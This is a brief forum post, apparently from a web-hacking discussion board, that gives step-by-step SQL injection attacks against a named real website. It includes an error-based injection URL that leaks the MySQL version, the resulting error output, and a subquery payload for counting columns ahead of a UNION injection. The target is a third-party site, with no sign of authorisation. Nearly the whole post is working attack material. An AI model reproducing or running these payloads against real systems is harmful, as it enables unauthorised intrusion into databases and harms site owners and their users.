How do you completely compromise a machine given a text box or badly validated input box? This is a place to talk about code issues (PHP includes, null byte injection, backticks, pipe, etc...) as well as how to properly construct an SQL injection attack.

1 USe error based injection
To injection this website use ERROR Based injection

http://www.pubblicitafaidate.it/index.php?prod=96 or 1 group by concat_ws(0x3a,version(),floor(rand(0)*2)) having min(0) or 1--

give u version in the error :
Duplicate entry '5.1.49-3:1' for key 'group_key'

2 if u still whant to use UNION injection :
In the message error you have the table name so it's easy to get columns count in 1 request :
http://www.pubblicitafaidate.it/index.php?prod=96 and (select * from productos_idiomas)=(select 1)